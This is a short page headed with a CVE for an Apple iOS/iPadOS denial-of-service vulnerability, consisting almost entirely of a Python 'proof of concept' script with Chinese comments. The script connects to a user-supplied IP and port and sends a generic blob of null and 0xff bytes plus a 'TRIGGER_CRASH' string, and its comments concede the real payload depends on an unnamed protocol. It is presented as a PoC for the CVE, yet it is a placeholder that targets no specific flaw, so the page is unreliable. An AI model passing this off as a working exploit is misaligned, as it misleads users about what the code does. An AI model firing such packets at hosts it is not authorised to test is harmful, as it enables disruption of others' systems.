CVE-2026-28967 Apple iOS/iPadOS 拒绝服务漏洞

#!/usr/bin/env python3 # 这是一个概念验证（PoC）脚本，用于模拟可能导致DoS的恶意输入发送。 # 注意：此代码仅用于教育和研究目的，请勿在未经授权的系统上使用。 import socket import sys def send_malicious_packet(target_ip, target_port): try: # Create a socket object client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set a timeout client.settimeout(10) print(f"[+] Connecting to {target_ip}:{target_port}...") client.connect((target_ip, target_port)) # Simulate crafted malformed input that bypasses weak validation # The specific payload would depend on the vulnerable service's protocol payload = b"\x00" * 10000 + b"\xff" * 10000 + b"TRIGGER_CRASH" print(f"[+] Sending malformed payload...") client.sendall(payload) response = client.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error occurred: {e}") finally: client.close() if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) # This simulates the attack vector described: sending input from a privileged network position send_malicious_packet(TARGET_IP, TARGET_PORT)